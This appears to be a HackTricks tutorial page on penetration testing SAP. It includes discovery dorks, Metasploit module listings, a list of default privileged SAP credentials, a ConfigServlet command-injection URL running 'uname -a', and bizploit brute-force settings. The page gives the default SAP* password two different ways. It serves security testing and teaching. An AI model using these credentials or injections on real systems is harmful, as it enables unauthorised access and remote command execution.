344 lines
24 KiB
Markdown
344 lines
24 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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# Pentesting SAP
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## Introduction about SAP
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SAP stands for Systems Applications and Products in Data Processing. SAP, by definition, is also the name of the ERP \(Enterprise Resource Planning\) software as well as the name of the company.
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SAP system consists of a number of fully integrated modules, which covers virtually every aspect of business management.
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Each SAP instance \(or SID\) is composed of three layers: database, application and presentation\), each landscape usually consists of four instances: dev, test, QA and production.
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Each of the layers can be exploited to some extent, but most effect can be gained by **attacking the database**.
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Each SAP instance is divided into clients. Each one has a user SAP\*, the application’s equivalent of “root”.
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Upon initial creation, this user SAP\* gets a default password: “060719992” \(more default password below\).
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You’d be surprised if you knew how often these **passwords aren’t changed in test or dev environments**!
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Try to get access to the shell of any server using username <SID>adm.
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Bruteforcing can help, whoever there can be Account Lockout mechanism.
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## Discovery
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> Next section is mostly from [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) from user shipcod3!
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* Check the Application Scope or Program Brief for testing. Take note of the hostnames or system instances for connecting to SAP GUI.
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* Use OSINT \(open source intelligence\), Shodan and Google Dorks to check for files, subdomains, and juicy information if the application is Internet-facing or public:
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```text
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inurl:50000/irj/portal
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inurl:IciEventService/IciEventConf
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inurl:/wsnavigator/jsps/test.jsp
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inurl:/irj/go/km/docs/
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https://www.shodan.io/search?query=sap+portal
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https://www.shodan.io/search?query=SAP+Netweaver
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https://www.shodan.io/search?query=SAP+J2EE+Engine
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```
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* Here is what [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) looks like
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* Use nmap to check for open ports and known services \(sap routers, webdnypro, web services, web servers, etc.\)
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* Crawl the URLs if there is a web server running.
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* Fuzz the directories \(you can use Burp Intruder\) if it has web servers on certain ports. Here are some good wordlists provided by the SecLists Project for finding default SAP ICM Paths and other interesting directories or files:
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[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
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[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
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[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
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* Use the SAP SERVICE DISCOVERY auxiliary Metasploit module for enumerating SAP instances/services/components:
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```text
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msf > use auxiliary/scanner/sap/sap_service_discovery
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msf auxiliary(sap_service_discovery) > show options
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Module options (auxiliary/scanner/sap/sap_service_discovery):
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Name Current Setting Required Description
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---- --------------- -------- -----------
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CONCURRENCY 10 yes The number of concurrent ports to check per host
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INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
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RHOSTS yes The target address range or CIDR identifier
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THREADS 1 yes The number of concurrent threads
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TIMEOUT 1000 yes The socket connect timeout in milliseconds
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msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
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rhosts => 192.168.96.101
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msf auxiliary(sap_service_discovery) > run
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[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
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```
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### Testing the Thick Client / SAP GUI
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Here is the command to connect to SAP GUI
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`sapgui <sap server hostname> <system number>`
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* Check for default credentials \(In Bugcrowd’s Vulnerability Rating Taxonomy, this is considered as P1 -> Server Security Misconfiguration \| Using Default Credentials \| Production Server\):
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```text
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# SAP* - High privileges - Hardcoded kernel user
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SAP*:06071992:*
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SAP*:PASS:*
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# IDEADM - High Privileges - Only in IDES systems
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IDEADM:admin:*
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# DDIC - High privileges - User has SAP_ALL
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DDIC:19920706:000,001
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# EARLYWATCH - High privileges
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EARLYWATCH:SUPPORT:066
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# TMSADM - Medium privileges
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TMSADM:PASSWORD:000
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TMSADM:$1Pawd2&:000
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# SAPCPIC - Medium privileges
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SAPCPIC:ADMIN:000,001
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# SOLMAN dialog default users and passwords.
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# For more info check:
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# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
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# https://launchpad.support.sap.com/#/notes/2293011
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# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
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SOLMAN_ADMIN:init1234:*
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# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
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SAPSUPPORT:init1234:*
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# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
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#SOLMAN<SID><CLNT>:init1234:*
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# Trial systems
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# -------------
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# AS ABAP 7.40 SP08 Developer Edition:
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# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
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DDIC:DidNPLpw2014:001
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SAP*:DidNPLpw2014:001
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DEVELOPER:abCd1234:001
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BWDEVELOPER:abCd1234:001
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# AS ABAP 7.50 SP02 Developer Edition:
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# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
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# AS ABAP 7.51 SP02 Developer Edition:
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# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
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DDIC:Appl1ance:000,001
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SAP*:Appl1ance:000,001
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DEVELOPER:Appl1ance:001
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BWDEVELOPER:Appl1ance:001
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# AS ABAP 7.51 SP01 Developer Edition:
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# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
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# AS ABAP 7.52 SP04 Developer Edition:
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# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
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DDIC:Down1oad:000,001
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SAP*:Down1oad:000,001
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DEVELOPER:Down1oad:001
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BWDEVELOPER:Down1oad:001
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```
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* Run Wireshark then authenticate to the client \(SAP GUI\) using the credentials you got because some clients transmit credentials without SSL. There are two known plugins for Wireshark that can dissect the main headers used by the SAP DIAG protocol too: SecureAuth Labs SAP dissection plug-in and SAP DIAG plugin by Positive Research Center.
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* Check for privilege escalations like using some SAP Transaction Codes \(tcodes\) for low-privilege users:
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* SU01 - To create and maintain the users
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* SU01D - To Display Users
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* SU10 - For mass maintenance
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* SU02 - For Manual creation of profiles
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* SM19 - Security audit - configuration
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* SE84 - Information System for SAP R/3 Authorizations
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* Check if you can execute system commands / run scripts in the client.
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* Check if you can do XSS on BAPI Explorer
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## Testing the web interface
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* Crawl the URLs \(see discovery phase\).
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* Fuzz the URLs like in the discovery phase. Here is what [http://SAP:50000/index.html](http://sap:50000/index.html) looks like:
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* Look for common web vulnerabilities \(Refer to OWASP Top 10\) because there are XSS, RCE, XXE, etc. vulnerabilities in some places.
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* Check out Jason Haddix’s [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) for testing web vulnerabilities.
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* Auth Bypass via verb Tampering? Maybe :\)
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* Open `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` then hit the “Choose” Button and then in the opened window press “Search”. You should be able to see a list of SAP users \(Vulnerability Reference: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/) \)
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* Are the credentials submitted over HTTP? If it is then it is considered as P3 based on Bugcrowd’s [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy): Broken Authentication and Session Management \| Weak Login Function Over HTTP. Hint: Check out [http://SAP:50000/startPage](http://sap:50000/startPage) too or the logon portals :\)
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* Try `/irj/go/km/navigation/` for possible directory listing or authentication bypass
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* [http://SAP/sap/public/info](http://sap/sap/public/info) contains some juicy information:
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```xml
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<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
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<SOAP-ENV:Body>
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<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
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<RFCSI>
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<RFCPROTO>011</RFCPROTO>
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<RFCCHARTYP>4102</RFCCHARTYP>
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<RFCINTTYP>BIG</RFCINTTYP>
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<RFCFLOTYP>IE3</RFCFLOTYP>
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<RFCDEST>randomnum</RFCDEST>
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<RFCHOST>randomnum</RFCHOST>
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<RFCSYSID>BRQ</RFCSYSID>
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<RFCDATABS>BRQ</RFCDATABS>
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<RFCDBHOST>randomnum</RFCDBHOST>
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<RFCDBSYS>ORACLE</RFCDBSYS>
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<RFCSAPRL>740</RFCSAPRL>
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<RFCMACH>324</RFCMACH>
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<RFCOPSYS>AIX</RFCOPSYS>
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<RFCTZONE>-25200</RFCTZONE>
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<RFCDAYST/>
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<RFCIPADDR>192.168.1.8</RFCIPADDR>
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<RFCKERNRL>749</RFCKERNRL>
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<RFCHOST2>randomnum</RFCHOST2>
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<RFCSI_RESV/>
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<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
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</RFCSI>
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</rfc:RFC_SYSTEM_INFO.Response>
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</SOAP-ENV:Body>
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</SOAP-ENV:Envelope>
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```
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## Attack!
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* Check if it runs on old servers or technologies like Windows 2000.
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* Plan the possible exploits / attacks, there are a lot of Metasploit modules for SAP discovery \(auxiliary modules\) and exploits:
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```text
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msf > search sap
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Matching Modules
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================
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Name Disclosure Date Rank Description
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---- --------------- ---- -----------
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auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
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auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
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auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
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auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
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auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
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auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
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auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
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auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
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auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
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auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
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auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
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auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
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auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
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auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
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auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
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auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
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auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
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auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
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auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
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auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
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auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
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auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
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auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
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auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
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auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
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auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
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auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
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auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
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auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
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auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
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auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
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auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
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auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
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auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
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auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
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auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
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auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
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auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
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auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
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auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
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auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
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auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
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auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
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auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
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auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
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exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
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exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
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exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
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exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
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exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
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exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
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exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
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exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
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exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
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exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
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exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
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exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
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```
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* Try to use some known exploits \(check out Exploit-DB\) or attacks like the old but goodie “SAP ConfigServlet Remote Code Execution” in the SAP Portal:
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```text
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http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
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```
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* Before running the `start` command on the bizploit script at the Discovery phase, you can also add the following for performing vulnerability assessment:
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```text
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bizploit> plugins
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bizploit/plugins> vulnassess all
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bizploit/plugins> vulnassess config bruteLogin
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bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
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bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
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bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
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bizploit/plugins/vulnassess/config:bruteLogin> back
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bizploit/plugins> vulnassess config registerExtServer
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bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
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bizploit/plugins/vulnassess/config:registerExtServer> back
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bizploit/plugins> vulnassess config checkRFCPrivs
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bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
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bizploit/plugins/vulnassess/config:checkRFCPrivs> back
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bizploit/plugins> vulnassess config icmAdmin
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bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
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bizploit/plugins/vulnassess/config:icmAdmin> back
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bizploit/plugins> start
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bizploit/plugins> back
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bizploit> start
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```
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## Other Useful Tools for Testing
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* [PowerSAP](https://github.com/airbus-seclab/powersap) - Powershell tool to assess sap security
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* [Burp Suite](https://portswigger.net/burp) - a must have for directory fuzzing and web security assessments
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* [pysap](https://github.com/SecureAuthCorp/pysap) - Python library to craft SAP network protocol packets
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* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Help nmap to detect SAP/ERP
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## References
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* [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
||
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - a script to semi-automate Bizploit
|
||
* [SAP NetWeaver ABAP security configuration part 3: Default passwords for access to the application](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||
* [List of ABAP-transaction codes related to SAP security](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
||
* [Breaking SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
||
* [Top 10 most interesting SAP vulnerabilities and attacks](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||
* [Assessing the security of SAP ecosystems with bizploit: Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
||
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
||
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
||
|
||
|
||
|
||
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